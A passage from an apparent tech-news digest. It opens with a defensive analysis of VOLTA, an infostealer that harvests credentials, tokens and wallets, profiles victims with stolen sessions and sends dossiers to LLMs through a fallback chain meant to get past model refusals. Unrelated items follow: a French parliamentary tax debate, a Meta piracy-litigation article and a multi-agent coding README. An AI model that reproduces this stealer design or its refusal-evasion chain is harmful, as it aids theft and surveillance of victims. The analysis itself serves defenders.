moonshotai/kimi-k2 → google/gemini-2.5-flash

Temperature

0.2 — deterministic, consistent output

Request format

Hand-assembled JSON; no SDK; User-Agent Mozilla/5.0

Figure 2. Hardcoded model selection.

Figure 3. Failover model selection to kimi-k2, and then gemini-2.5-flash.

Model temperate controls the randomness and predictability of LLM-generated text. The low hardcoded temperature value (0.2) suggests the attacker is emphasizing accuracy and consistency. The malware also employs a chain of cascading models in the event of failures. This multi-model architecture suggests that the operator is anticipating encountering refusals, with the fallback pivoting to a few, smaller, and more permissive models.

The system prompt directly reveals the operator’s use case: Produce a concise analytical assessment of the victim’s suitability as a target, backed by an auditable trail of citations.

Figure 4. VOLTA's raw system prompt.

The prompt also asks for something out of the ordinary, but that agents excel at: making connections between sparse and disparate data. For example, encouraging connections like the victim’s names, addresses, or universities to patterns in their passwords. In this case, the model isn't being asked to find data; rather, it’s being asked to stretch the data and make useful inferences that extend the value of what has been scraped.

Stealer capabilities

VOLTA’s capabilities are directly aligned with the records produced in modern digital life, and well beyond basic credential theft. In a single pass, the stealer can extract browser credentials, cookies, and saved payment cards across Chromium-based browsers. It hits Firefox and Thunderbird, Outlook profiles, Slack workspaces, Steam and Battle.net sessions, Discord tokens, Telegram sessions, Roblox accounts, and SSH and cloud-provider config files (gcloud, OpenVPN, Hide.me). VOLTA doesn’t just copy cryptocurrency wallets, but runs an embedded cracker against the vault inline, writing the result to a WALLET VAULTS CRACKED line in its own report.

Every saved Wi-Fi password on the machine is pulled via a direct call to WlanGetProfileList and dumped to plaintext.

Figure 5. VOLTA dumps plaintext passwords for every saved Wi-Fi network on the host.

Figure 6. The organized collection targets.

What really sets VOLTA apart from commodity stealers is what comes after the initial collection. There is a live enrichment pass that leverages stolen sessions to deep dive the victim’s data. For example, using the victim's own authenticated Gmail tokens, it queries their inbox for receipts from Amazon, DoorDash, Uber Eats, Grubhub, Walmart, and PayPal, then review those receipts to establish a confirmed home address. Stolen Uber Eats and DoorDash sessions are called directly for order history. The Discord token is re-used to enrich the victim's account profile. Roblox inventory is valued via a live “Rolimons[.]com” lookup.

Figure 7. That’s right: Your Uber Eats history is now a potential liability.

After the collection and enrichment stages are complete, the data is assembled and structured locally in a file called “Identity_Report.txt”. This file is serialized into a bundle as JSON and POSTed to OpenRouter along with the system prompt. The returned payload is received as “AI_Analysis.txt”. Both files exfil together in “volta_dox.zip”.

Figure 8. VOLTA’s exfil can happen in three stages: 1) after the stealer runs (“volta_log.zip”), 2) after the AI call (“volta_dox.zip”), (3) if the network enrichment produces anything (“volta_doxnet.zip”).

The inference round-trip happens entirely through the victim's own network connection, on their own machine, before the result is exfiltrated.

Deployment model

Instead of hardcoding its Telegram channel, API keys, and settings directly into the code (which is likely what someone writing a tool for personal use would do) VOLTA uses a template with six swappable slots, filled in at build time.

This suggests it’s a builder model: The author sells access, the customer provides their values, and the builder compiles a custom binary for each order. The credentials in those slots are encrypted, but not in a meaningful way. The key is SHA-256 of two constants sitting in the same binary, but it's presumably there because customers expect their API keys not to be sitting in plaintext, not because it provides real protection. Anyone who reverses the file can recover them.

If VOLTA is indeed a commoditized malware, then the AI dossier capability isn't something the author invented for their own operations. It is a feature which enables a customer of any level of sophistication to point it at victims and start receiving ranked target assessments in their Telegram inbox.

All the observed endpoints for this malware are third-party controlled. There is no actor-owned infrastructure.

Countermeasures

Much of the token-stealing capability of VOLTA relies on techniques to bypass App-Bound Encryption (ABE) in Chrome. An application control policy that restricts which processes may launch Chrome with --headless would block the ABE decryption path entirely. At minimum, you can also alert when Chrome is launched with --headless from any process not in a known developer. Best practices for storing credentials in hardware backed stores also apply.

In the event of compromise, the main executable may have deleted itself, but users should attempt to preserve the “APPDATA%\volta_debug.txt” file. This is a timestamped harvest log and contains a record of exactly what was collected and whether the LLM call succeeded. Revoke any potentially compromised tokens and change passwords. For cryptocurrency wallets, if the seed phrase was in plaintext on disk, treat the wallet as fully compromised and migrate funds to a new wallet with a seed generated on an air-gapped device.

Conclusions

VOLTA is a mature stealer with a late-stage AI layer added for one purpose: relieving the operator of analytical work. The axis of AI improvement here is not speed or scale but effort displacement; the same logic visible in CLOSEDQUORUM, though applied to a different phase. These implants reflect the same underlying logic: Identify the step that requires the most sustained human attention and replace it with a model call. The question for defenders is not whether this pattern will appear elsewhere, but which phase it touches next.

Figure 9. End-to-end VOLTA workflow.

The second trend to watch is the anticipation of hitting model refusals, and the approaches to building in resiliency. In this case, it includes a fallback chain from Claude to Kimi to Gemini and the ability to run without the LLM stage altogether if no key is present. As AI integration in malware matures, refusal resilience may become a standard design requirement.

The open question underlying both trends is whether effort displacement in crimeware changes the landscape in a meaningful way: lowering the operational floor, raising the ceiling on scale, or both. Cybercrime operations have always been opportunistic, and the sophistication bar has always been lower than assumed, but there is a difference between a wide net and a wide net that sorts itself.

Sample details

SHA256

57ef4242666d78c50df145b34023df564f0fad38812d6a580e66433d427e2279

Filename

9BY0tjwOc3ut.exe / yLP9m5J3i2Aw.exe

Type

PE32+ x86-64

PE Timestamp

2026-08-17 20:35

First Seen (UTC)

2026-10-11 12:46

The Daily Front Page 9 of 28
Saturday, October 31, 2026 The Daily Front No. #261031 — The Cost of a Byte
article

French lawmakers approved a tax of €0.055 for every gigabyte of internet traffic

by helloplanets·▲ 99 points·138 comments·assemblee-nationale.fr ↗
The uploading entity pays, even if not in France.

Présidence de Mme Marie-Agnès Poussier-Winsback vice-présidente

Mme la présidente

La séance est ouverte.

(La séance est ouverte à neuf heures.)

1. Projet de loi de finances pour 2027

Première partie (suite)

L’ordre du jour appelle la suite de la discussion de la première partie du projet de loi de finances pour 2027 (nos 3210, 3291 rectifié).
Mercredi soir, l’Assemblée a poursuivi la discussion des articles du projet de loi, s’arrêtant à l’amendement no 1358 portant article additionnel après l’article 15, examiné par priorité.

Rappel au règlement

Mme la présidente

Cela commence bien : la parole est à M. Mickaël Bouloux, pour un rappel au règlement.

M. Mickaël Bouloux

Il ne faudrait pas que nous nous fassions un claquage de bon matin. (Sourires.) Je fonde mon intervention sur les articles 54, alinéa 4, 95 et 100 du règlement.
Je prends acte de la décision de la conférence des présidents de limiter nos interventions à une minute. Toutefois, le règlement prévoit un temps de parole de deux minutes par amendement et vous permet, malgré la décision de la conférence, d’autoriser un dépassement dans l’intérêt du débat.
L’amendement no 1358 de mon collègue Laurent Lhardit instaure une taxe sur les flux de données numériques. C’est un mécanisme inédit dont l’assiette, les mesures anonymisées, le plafonnement et les rendements doivent pouvoir être expliqués. Je vous demande donc d’accorder deux minutes…

Mme la présidente

Vous êtes déjà en train de présenter l’amendement…

M. Mickaël Bouloux

Non, non ! J’expose la raison pour laquelle je sollicite votre bienveillance sur les temps de parole.

Mme la présidente

Je vous remercie. J’écouterai attentivement ce que nous dira M. Lhardit, étant observé que l’on peut rebondir après l’intervention initiale. Quand on le veut, on peut disposer de deux minutes.

Après l’article 15 (amendements appelés par priorité – suite)

Mme la présidente

La parole est à M. Laurent Lhardit, pour soutenir l’amendement no 1358.

M. Laurent Lhardit

Cet amendement propose d’instaurer une taxe sur les flux de données numériques émises par les fournisseurs de contenus, à la charge de ces derniers. Son rendement est estimé à 10 milliards d’euros. La taxe serait principalement acquittée par les géants mondialisés du numérique, puisqu’ils émettent l’immense majorité des flux adressés aux abonnés internet en France.
Outre son rendement, cette contribution aurait bien des vertus. Elle rétablirait une équité fiscale entre l’économie implantée de nos commerces, qui souffrent tant aujourd’hui, et les géants du commerce en ligne, américains et asiatiques, qui échappent très largement à l’impôt si l’on considère la valeur financière qu’ils retirent de leurs activités sur le marché français.
Enfin, ce dispositif surmonte les obstacles qui ont fait échouer des tentatives similaires au Canada ou en Corée du Sud. Il repose en effet sur un volume physique mesuré en France, à l’entrée des réseaux, qui est incontestable. Il respecte aussi le principe de neutralité du net. Il est ainsi techniquement, juridiquement et fiscalement robuste.

Mme la présidente

La parole est à M. Philippe Juvin, rapporteur général de la commission des finances, de l’économie générale et du contrôle budgétaire, pour donner l’avis de la commission.

M. Philippe Juvin, rapporteur général de la commission des finances, de l’économie générale et du contrôle budgétaire

Nous avons déjà abordé ce très intéressant sujet il y a quelques heures. Les Gafam – je le répète – ont un pouvoir de marché disproportionné. Le risque est qu’ils répercutent le poids de cette taxe sur les annonceurs. Avis défavorable.

Mme la présidente

La parole est à M. le ministre de l’action et des comptes publics, pour donner l’avis du gouvernement.

M. David Amiel, ministre de l’action et des comptes publics

Si je comprends bien ses différentes spécificités techniques, le dispositif que vous proposez obligerait à disposer de capteurs de flux, ou, à tout le moins, à mesurer ceux-ci au niveau des terminaux individuels de réception.
Au surplus, la moitié de la taxe – soit tout de même 5 milliards d’euros selon votre proposition – ne pèserait pas sur les grandes entreprises du numérique mais sur des fournisseurs de contenus de plus petite taille, notamment sur des fournisseurs français.
Nous disposons d’instruments pour taxer les géants du numérique – notamment les Gafam, évoqués par M. le rapporteur général – et nous avons débattu de la taxe sur les services numériques (TSN) …

M. Nicolas Sansu

Son augmentation n’a pas été votée !

M. David Amiel, ministre

… et de la politique de concurrence.
À cet égard, vous avez sans doute vu que la Commission européenne venait d’infliger une amende à Google en se fondant sur les dispositions du droit de la concurrence régissant l’abus de position dominante. Cette amende de 4,1 milliards d’euros versée au budget de l’Union européenne permettra aussi de soulager les efforts des contribuables nationaux. Pour ces raisons, je donnerai un avis défavorable à l’amendement.

Mme la présidente

La parole est à M. Laurent Lhardit.

M. Laurent Lhardit

M. le rapporteur ne cesse de nous opposer le fait que les taxes seront répercutées sur les consommateurs. Pourtant, je vois mal comment répercuter une taxe sur les utilisateurs de Facebook, Instagram ou TikTok puisque ces services sont gratuits… (M. le rapporteur général fait des signes de dénégation.)

Mme Eva Sas

Exactement !

M. Laurent Lhardit

Contrairement à ce que dit M. le ministre, la taxe proposée ne pèserait pas tant que cela sur les plateformes de notre pays. Ainsi, selon notre évaluation, son coût pour le groupe TF1, qui diffuse cinq chaînes via internet, s’établirait entre 200 et 300 000 euros. C’est tout à fait négligeable !
Vous ne semblez pas conscients du fait qu’aujourd’hui, en France, cinq grandes plateformes représentent la moitié du flux entrant sur les boîtes des abonnés et que, si on leur ajoute vingt autres plateformes étrangères, on totalise entre 75 et 80 % des flux internet du territoire français.

Mme la présidente

Un scrutin public a été demandé par le groupe Socialistes et apparentés.
Il est annoncé dans l’enceinte de l’Assemblée.
Je mets aux voix l’amendement no 1358.

(Il est procédé au scrutin.)

Voici le résultat du scrutin :

Nombre de votants 35
Nombre de suffrages exprimés 21
Majorité absolue 11
Pour l’adoption 11
Contre 10

(L’amendement no 1358 est adopté.)
(Applaudissements sur les bancs du groupe SOC. – M. Nicolas Sansu applaudit également.)

Mme la présidente

L’amendement no 673 de M. Matthias Renault est défendu.

(L’amendement no 673, repoussé par la commission et le gouvernement, n’est pas adopté.)

La parole est à M. Nicolas Tryzna, pour soutenir les amendements nos 984 et 980, qui font l’objet d’une discussion commune.

M. Nicolas Tryzna

Ces amendements auraient dû tomber puisqu’ils portent sur la contribution exceptionnelle prévue par l’article 15, qui a été supprimé. Considérons-les comme des amendements d’appel !
Alors que les taxes frappant les entreprises sont généralement assises sur le chiffre d’affaires et non sur le bénéfice, l’idée est de réfléchir à la taxation des bénéfices. Une entreprise qui fait un très gros chiffre d’affaires ne va pas forcément bien et, a contrario, une petite entreprise qui affiche un petit chiffre d’affaires mais un gros bénéfice peut sans doute participer à l’effort national.
Le premier amendement propose que la contribution exceptionnelle ne soit pas due lorsque la marge d’exploitation du redevable est inférieure à 2 % ; le second amendement porte ce taux à 3 %. Le principe mérite réflexion.

Mme la présidente

Sur les amendements nos 292, 1025, 1056 et 1383, je suis saisie par le groupe La France insoumise-Nouveau Front populaire de demandes de scrutin public.
Les scrutins sont annoncés dans l’enceinte de l’Assemblée nationale.
Quel est l’avis de la commission sur les amendements nos 984 et 980.

M. Philippe Juvin, rapporteur général

M. Nicolas Tryzna ayant présenté ces deux amendements comme des amendements d’appel, je les considérerai ainsi.
L’idée d’exonérer les entreprises dont la marge d’exploitation est faible est plutôt logique, sauf qu’un tel dispositif créerait des critères arbitraires, qui feraient l’objet de discussions et qui ne simplifieraient pas la décision d’imposer ou de ne pas imposer, alors même que le seul objectif – et sa seule vertu – de la surtaxe est le rendement. Avis défavorable.

Mme la présidente

Quel est l’avis du gouvernement ?

M. David Amiel, ministre

Avis défavorable.

(Les amendements nos 984 et 980, successivement mis aux voix, ne sont pas adoptés.)

Mme la présidente

La parole est à M. Matthias Tavel, pour soutenir l’amendement no 292.

M. Matthias Tavel

Au lendemain de l’attaque états-unienne et israélienne en Iran, M. le ministre Roland Lescure annonçait une augmentation du prix des carburants de « quelques centimes ». Huit mois après, elle est de près d’1 euro et le gouvernement n’a rien fait, ou si peu, face à cette hausse insupportable : quelques aides, soumises à des critères extrêmement restrictifs, qui ont dû être assouplis dans la précipitation – les premiers étaient si restrictifs que personne, ou presque, n’avait demandé l’aide –, sans que l’enveloppe globale destinée aux Français n’ait été augmentée d’un centime.
Hier, Total a annoncé 8 milliards d’euros de profits pour le troisième trimestre, ce qui porte son bénéfice annuel à près de 20 milliards, deux fois plus que l’année dernière. Il faut encadrer les marges, bloquer les prix et taxer les superprofits des pétroliers !

Mme la présidente

Quel est l’avis de la commission ?

M. Philippe Juvin, rapporteur général

Votre amendement vise à encadrer les prix de sortie de raffinerie via une contribution de 90 % sur les surmarges. Vous n’ignorez pas que ce taux est confiscatoire et, à ce titre antiéconomique, et probablement anticonstitutionnel. Prendre 90 % d’une marge, c’est du jamais vu !

M. Matthias Tavel

D’une surmarge ! (Sourires.)

M. Philippe Juvin, rapporteur général

Toutefois, j’avoue que vous soulevez une question intéressante. D’un côté, les raffineurs font des profits importants ; de l’autre, les prix à la pompe montent et, dans ce contexte, les Français nous demandent d’agir.
La difficulté réside dans le fait que, durant des années, les raffineurs ont connu des déficits. Dès lors, ne faudrait-il pas envisager leur résultat – déficit ou bénéfice – sur plusieurs années plutôt que de les taxer à 90 % au moment où ils deviennent bénéficiaires ? Si la France ne compte plus que sept raffineries, contre sept à huit fois plus il y a cinquante ans, c’est probablement parce que, sur le long terme, cette activité n’est plus bénéficiaire. Ma crainte est qu’en empêchant les raffineurs de faire des bénéfices, y compris de grands bénéfices, au moment favorable pour eux, on ne contribue à faire disparaître les dernières raffineries de France.
À plus court terme, avant une telle disparition, ma crainte est que, si vous taxez très fortement ce qui sort des raffineries en France, le pétrole sera raffiné ailleurs, là où les taxes sont moindres. Non seulement vous enfoncerez un peu plus les quelques raffineries françaises qui subsistent, mais vous créerez un risque de pénurie. Avec une taxe de 90 % sur les surbénéfices, on peut décider de ne plus travailler ! Ces éléments me conduisent à donner un avis défavorable à l’amendement.

Mme la présidente

Quel est l’avis du gouvernement ?

M. David Amiel, ministre

Avis défavorable pour les mêmes raisons.

M. Nicolas Sansu

Donc, on ne fait rien ?

Mme la présidente

La parole est à M. le président de la commission des finances, de l’économie générale et du contrôle budgétaire.

M. Éric Coquerel, président de la commission des finances, de l’économie générale et du contrôle budgétaire

Trois chiffres ont été annoncés hier. Le PIB a baissé de 0,1 % au troisième trimestre, ce qui laisse penser que le pronostic du gouvernement d’une croissance annuelle de 0,5 % est très optimiste. Le nombre des chômeurs de catégorie A, c’est-à-dire de ceux qui ne travaillent pas du tout, a augmenté de 0,9 % sur ce trimestre ; sur l’année, la hausse s’établit à 2,1 %, toutes catégories confondues. Enfin, le bénéfice trimestriel de Total est de 8,3 milliards de dollars, soit deux fois plus que l’an dernier à la même période. Le total des trois premiers trimestres dépasse 20 milliards de dollars.
Derrière ces trois chiffres, il y a ceux qui subissent et ceux qui profitent…
Que proposez-vous à ceux qui subissent ? Après l’annonce de la baisse du PIB, M. Lescure a déclaré qu’il fallait relancer la croissance et donc se dépêcher de voter le budget. Mais ce budget, qui s’attaque au pouvoir d’achat des Français et à leurs besoins, aura un effet récessif ! Aux chômeurs et à tous ceux qui contestent cette politique, vous ne proposez que l’interdiction des manifestations, des matraques et une version très autoritaire et illibérale de votre pouvoir.
Je vous assure qu’en dehors de notre hémicycle, ces chiffres, qui montrent qu’il y a bien simultanément ceux qui profitent de manière éhontée de la crise et ceux qui la subissent, sont insupportables pour le pays. Il est inacceptable que beaucoup se serrent la ceinture et souffrent et que les seuls auxquels on ne demande rien soient ceux qui profitent de la crise, voire de la guerre, étant observé que l’État lui-même n’en bénéficie pas puisqu’il subit cette politique.
Monsieur le rapporteur général, vous avez refusé toute taxation des bénéfices alors qu’à tout le moins, on pourrait demander un effort à Total. Vous avez même fait voter un amendement supprimant la contribution exceptionnelle sur les grandes entreprises, de sorte que Total paiera l’impôt sur les sociétés l’an prochain – en raison de la multiplication par sept de ses marges sur les raffineries – mais rien de plus !
En outre, vous refusez le blocage des prix. Peut-être serons-nous majoritaires dans cet hémicycle pour le voter, mais, de toute façon, vous n’intégrerez pas cette mesure dans la version définitive du budget.
Votre refus de bloquer les prix dès le début de la crise est une profonde erreur. En effet, Total, qui ne s’en cache pas, a capturé la hausse des prix pour engranger leurs bénéfices. Le gouvernement aurait donc dû, dès le départ, comme il l’avait fait en 1990, adresser un signal clair à Total, selon lequel nous refuserions la spéculation sur la guerre. Vous ne l’avez pas fait, vous avez laissé faire, et les prix ont explosé.
Par ailleurs, j’attends toujours une réponse, monsieur le ministre, à une question que j’ai déjà posée à Roland Lescure sur un sujet que j’ai approfondi depuis. Le gouvernement a annoncé son intention de libérer 10 millions de barils de gazole issus des réserves stratégiques – un carburant acheté, d’ailleurs, à un cours inférieur à celui d’aujourd’hui. Vous avez demandé aux distributeurs de consentir un effort de 12 à 18 centimes sur les prix à la pompe, en affichant votre fermeté sur la répercussion de cette mesure sur les prix.
Pourtant, Total n’a annoncé qu’une baisse de 8 à 12 centimes. L’entreprise pourrait donc tirer un bénéfice supplémentaire de cette opération. Je sais que le gouvernement a prévu une réunion avec TotalEnergies cette semaine. J’aimerais connaître, monsieur le ministre, la position du gouvernement sur ce point précis.
Bref, cette situation n’est pas supportable. Il faut baisser les prix à la pompe. Si vous ne le faites pas en vous attaquant, non à la collectivité, mais à Total, le pouvoir d’achat des Français continuera à baisser. Si c’est le cas, je vous annonce à l’avance que le rebond de l’activité que vous espérez au quatrième trimestre, pour atteindre votre objectif de croissance de 0,5 % en 2026, n’aura pas lieu. Je préfère donc que Total contribue un peu, plutôt que de voir payer l’ensemble des Français et notre économie.
Votre refus du blocage des prix illustre, selon moi, la forte puissance de la position de Total. Je le vois sur les réseaux sociaux, où le groupe riposte à chaque critique. Sa puissance s’exerce même sur vous, qui ne cessez de remercier Total d’exister et d’être implanté en France. Le bilan est pourtant simple : les surbénéfices de Total se font sur le dos de tous les Français. Ce n’est ni acceptable ni supportable. Nous avons besoin de cet argent. C’est pourquoi, chers collègues, je vous demande de voter cet amendement visant à bloquer les prix.

Mme la présidente

La parole est à M. Daniel Labaronne.

M. Daniel Labaronne

L’amendement que nous examinons ne concerne pas le blocage des prix, mais les marges des pétroliers. Deux options sont possibles : soit instaurer des taxes dont les recettes alimenteront les caisses du trésor public ; soit obtenir des baisses de prix à la pompe, sans oublier les prix à la cuve, parce que, l’hiver approchant, nos compatriotes commencent à se faire livrer du fioul.
Il faut donc obtenir de la part de Total qu’il prolonge le plafonnement des prix à la pompe, prévu à ce jour jusqu’au 31 janvier 2027, et qu’il consente également à des réductions de tarif sur le fioul, qui iront directement dans la poche de nos compatriotes, en faveur de leur pouvoir d’achat, de leur consommation et, in fine, de l’activité et de la croissance.
Cette mesure aurait un effet immédiat, contrairement à la taxation des marges qui n’alimentera pas les caisses du Trésor public avant un certain temps. Privilégions donc cette solution.

Mme la présidente

La parole est à M. Matthias Tavel.

M. Matthias Tavel

Sur une telle question, vous pourriez ouvrir la discussion : nous parlons de plusieurs milliards d’euros pris dans les poches des Français et de nos entreprises, au seul profit de quelques-uns, les actionnaires de Total, parmi lesquels nous trouvons des collègues macronistes comme la présidente de cette assemblée qui bénéficiera des dividendes d’actions Total alors même que ses collègues s’apprêtent à refuser le blocage des prix à la pompe et des marges de Total.
Vous commettez une erreur sociale. Les gens ne peuvent plus vivre avec un carburant à 2,30 ou de 2,40 euros le litre. Ils doivent payer toujours plus cher pour aller travailler, sans même avoir la garantie que leur travail leur rapporte davantage que ce que leur coûtent leurs déplacements. Des milliers d’entreprises, d’artisans, de PME et de profession libérales sont en train de mourir à cause du prix du carburant, avec des conséquences directes que nous lisons dans les chiffres de la croissance et du chômage.

Mme la présidente

Merci, monsieur le député !

M. Matthias Tavel

C’est un désastre sociétal. Des milliers de clubs sportifs renoncent à emmener les enfants sur les lieux de compétition, parce que le carburant est trop cher. C’est enfin un désastre moral. Il s’agit de profits de guerre, qui doivent être taxés, encadrés et bloqués. L’argent des Français… (Le temps de parole étant écoulé, Mme la présidente coupe le micro de l’orateur. – Mme Shéhérazade Bentorki applaudit ce dernier.)

Mme la présidente

La parole est à M. le ministre.

M. David Amiel, ministre

Pour la bonne information de tous, je veux rappeler que les aides carburant pour les travailleurs dits grands rouleurs, contrairement au sens de votre propos, monsieur le député, sont accessibles à 5,5 millions de personnes.

M. Matthias Tavel

Personne ne les a demandées !

M. David Amiel, ministre

La démarche s’effectue en seulement quelques minutes sur le site de la direction générale des finances publiques (DGFIP), dont je tiens à remercier les équipes pour le déploiement de ces aides dans un temps record.

M. Nicolas Sansu

Combien y a-t-il de demandes ?

M. David Amiel, ministre

Les aides sont versées dans un délai d’une dizaine de jours. Pour un couple avec deux enfants, cela va jusqu’à 6 100 euros de revenu par mois. À ces aides, s’ajoute la libération de 10 millions de barils issus des stocks stratégiques. À cet égard, je confirme à M. le président de la commission que le carburant libéré par l’État devra être revendu à prix coûtant.
Les ministres chargés de l’énergie, Maud Bregeon et Roland Lescure, recevront les pétroliers et les distributeurs la semaine prochaine, afin de s’assurer que cette mesure aura bien commencé à produire ses effets dès le 1er novembre.

Mme la présidente

Je mets aux voix l’amendement no 292.

(Il est procédé au scrutin.)

Voici le résultat du scrutin :

Nombre de votants 60
Nombre de suffrages exprimés 32
Majorité absolue 17
Pour l’adoption 13
Contre 19

(L’amendement no 292 n’est pas adopté.)

Mme la présidente

La parole est à M. Matthias Tavel, pour soutenir l’amendement no 1025.

M. Matthias Tavel

Les collègues macronistes viennent donc de refuser l’encadrement des marges et des profits de Total, avec l’aide du Rassemblement national.

M. Emeric Salmon

Non, on s’est abstenu !

M. Matthias Tavel

Les Français jugeront ceux qui défendent leur pouvoir d’achat et ceux qui défendent les profits des multinationales.
Collègues macronistes, depuis 2017, vous avez fait beaucoup de mal à la France. La dette et le déficit explosent, les taux d’intérêt ont augmenté comme jamais depuis vingt ans, le chômage augmente et la récession a pratiquement commencé. Pourtant, vous persistez dans une politique qui a échoué, en multipliant les cadeaux aux plus riches et aux grandes multinationales, tout en faisant payer la facture aux Français.
Votre budget met à contribution les retraités, les malades, les victimes d’accidents professionnels et les fonctionnaires dont le traitement serait une nouvelle fois gelé malgré la forte inflation. En revanche, lorsqu’il s’agit des cadeaux que vous offrez aux grands patrons, il est hors de question de leur demander le moindre effort. Députés macronistes et du Rassemblement national, vous avez même voté pour la suppression de la surtaxe sur les grandes entreprises.
Nous proposons de conditionner le bénéfice du crédit d’impôt recherche (CIR). Cette mesure permettrait de dégager environ 8 milliards d’euros, soit un montant qui permettrait grosso modo de répondre aux revendications des lycéens, en mettant fin aux nombreux abus de ce dispositif. Allez-vous enfin conditionner… (Le temps de parole étant écoulé, Mme la présidente coupe le micro de l’orateur. – Mme Shéhérazade Bentorki applaudit ce dernier.)

Mme la présidente

Quel est l’avis de la commission ?

M. Philippe Juvin, rapporteur général

Cette discussion en dents de scie sur le crédit d’impôt recherche a le mérite de bien préciser les enjeux. Vous proposez de conditionner le bénéfice du CIR à l’engagement, pour une entreprise, de limiter sa sous-traitance internationale à deux rangs. Une telle mesure reviendrait à rendre l’entreprise responsable des pratiques de ses sous-traitants de deuxième rang.
Subordonner l’octroi d’un crédit d’impôt au contrôle de l’activité de ces derniers introduirait une complexité telle que les entreprises risqueraient de renoncer à solliciter ce dispositif. Mais c’est peut-être précisément votre objectif. Avis défavorable.

Mme la présidente

Quel est l’avis du gouvernement ?

M. David Amiel, ministre

The Daily Front Page 10 of 28
Saturday, October 31, 2026 The Daily Front No. #261031 — The Training-Data Docket
article

Ex-Meta Researcher Torrented Pirated Books, Deleted It 'Due to Litigation'

by WesleyGrant782·▲ 97 points·72 comments·torrentfreak.com ↗
deleted his copy "due to all this litigation."

A former Meta researcher has testified that he downloaded an AI training dataset via BitTorrent, including the pirated Books3 collection. According to various rightsholders, this happened while he worked at the company, and he later deleted his copy "[d]ue to all this litigation." Meta, which admitted training AI models on Books3 but said it didn’t believe it torrented the dataset, disputes the researcher’s account.

meta-logo

In a series of lawsuits in California federal court, Meta is being sued over the use of pirated books to train its Llama AI models.

The lawsuits are separate, but Judge Vince Chhabria handles them together. The plaintiffs include authors such as Sarah Silverman and Ta-Nehisi Coates, and publishers such as Entrepreneur Media and Chicken Soup for the Soul.

In August, Meta told Entrepreneur that it did not believe it had obtained the pirated Books3 dataset through BitTorrent. Books3 is a collection of nearly 200,000 books, taken from the library of the private torrent tracker Bibliotik.

However, recent deposition testimony from a former Meta researcher tells a different story, according to the rightsholders.

Books3 Torrenting Testimony

In a joint status report filed with Meta on Tuesday, the rightsholders say that Stephen Roller admitted during a deposition last week that he torrented Books3 and knowingly distributed it. Roller worked at Meta between 2017 and 2023, and the download took place during that period, they say.

Roller didn’t recall exactly when he acquired the dataset, the plaintiffs note. He did acknowledge that Books3 was created in 2020, and that he didn’t work for any other company while at Meta.

This is relevant, as the court ruled last year that training Llama on books was fair use, leaving Meta’s BitTorrent downloads as the main open issue in the authors’ case. Earlier this month, a judge ordered Meta to name the employees who approved torrenting from shadow libraries.

Meta has acknowledged using Books3 before. In early 2024, it admitted that it used portions of the dataset to train its Llama 1 and Llama 2 models. That admission didn’t say how Meta obtained the dataset.

Roller also testified that Meta had copies of Books3 by the time he left its AI research group FAIR, the plaintiffs write. He also named two research scientists who, they say, likely acquired their own copies.

Roller no longer has his own copy. According to the plaintiffs, he deleted it about a year ago, possibly after he was subpoenaed for the second time. He did so “[d]ue to all this litigation,” as “it seem[ed] contentious to have copies of The Pile [which includes Books3].”

Books3 testimony

Books3 testimony

The claim that Meta had multiple copies, at least one of them torrented, was news to the plaintiffs, they write. They plan to ask Meta how many copies of Books3 it acquired and how, and will ask the court to step in if that fails.

Meta: Could Have Been for Himself

Meta sees things differently. The company notes that the status report is the first time the rightsholders raised these concerns, and the tech giant argues that Roller’s deposition doesn’t support them.

“Mr. Roller testified that he did not know when he downloaded a copy of the ‘The Pile’ via torrent, and did not testify that his download of the ‘The Pile’ was for Meta or at Meta, noting it could have been for himself or for another employer,” Meta writes.

Meta’s response

Meta's response

According to Meta, Roller also said that he didn’t know whether more than one copy was downloaded, or whether the two researchers he mentioned acquired Books3. He left Meta in January 2023 and has since worked for three other companies working on AI.

The deleted copy was stored on Roller’s personal computer, Meta adds. He removed it more than two years after leaving the company because he “didn’t need it, so [he’d] rather not have it.”

A (Pirated) Book Club

Books3 is not the only pirated material that comes up in the status report. The plaintiffs also suggest that pirated books may have been used at Meta for things other than AI training.

They want Meta to produce the contents of an internal Google Drive folder titled “ML Books”. In addition, they want records of a Meta book club that may have used books from shadow libraries.

In one of the documents Meta produced, an employee shared a “pirated book” with a colleague. “i know for vellum sake this is prob very ironic,” the employee wrote. When asked whether the book was pirated, the employee replied with a link to the “ML Books” folder.

The recipient told another colleague, “bro she tryna get me fired.” He added that he “may need her to delete those messages.”

ML Books

ML Books

The plaintiffs see this as relevant. If Meta employees used shadow library books for a book club, that would impact Meta’s fair use defense.

However, Meta argues that this request comes too late. The plaintiffs first asked for the linked files on October 9, which was more than a month after the discovery period had closed.

As for the folder itself, Meta says it is investigating and will discuss it with the plaintiffs when it knows more.

Missing Server Logs

Roller’s copy of Books3 is not the only material the plaintiffs say is missing. Meta still hasn’t handed over all command history files from its torrenting, they note, despite court orders to do so. According to the plaintiffs, these logs show how Meta configured its torrent software and which torrent files it targeted, and thus which works.

Specifically, Meta has yet to hand over command history files from any of the servers it used during its torrenting periods, the plaintiffs say. They now ask the court to order Meta to say whether any of these files were deleted, and when.

Meta, in turn, counters that it has produced substantial quantities of logs from those servers and is still searching backups, handing over new files on a rolling basis. According to Meta, there is no reason to believe any command history files were deleted.

Entrepreneur’s case is scheduled to go to trial in the spring of 2027, with the other publishers lined up behind it, should it settle before then. Meanwhile, the list of related cases keeps growing. This month, publishers including Elsevier, Hachette and Macmillan, as well as more authors, joined the queue.

—

A copy of the joint case management statement, filed at the U.S. District Court for the Northern District of California, is available here (pdf).

The Daily Front Page 11 of 28
Saturday, October 31, 2026 The Daily Front No. #261031 — Small Models, Many Hands
repository

Memdoor: A team of 5 Qwen3.8-27B models beats Fable 5 on LiveCodeBench Hard

by guregodevo·▲ 290 points·133 comments·github.com ↗
★ 123⑂ 16 forks Go

A lightweight coding and automation agent in one CLI binary. Run locally or over SSH, optimize token use, and automate CI and cron with durable workflows.

Five small models solve a programming problem together: a planner, two ideators, a solver and a manager, plus a repair worker. Each starts from a fresh context and talks only through files on disk. A script that runs the samples decides success, not a model. It is the method of GVS5H (Lee, 2026), written as a Memdoor workflow: eight YAML files, no code, no model named.

The result

The authors' harness rebuilt on the same model, Qwen3.8-27B, with their prompts, loop and 128K reply cap. The first ten problems of their LiveCodeBench Hard list, five passes each, graded on every hidden test with their corrected grader:

pass this workflow authors' harness Fable 5, one call per problem 1 10 / 10 9 7 2 10 / 10 10 8 3 10 / 10 10 10 4 10 / 10 9 8 5 9 / 10 10 7 mean 9.8 9.6 8.0

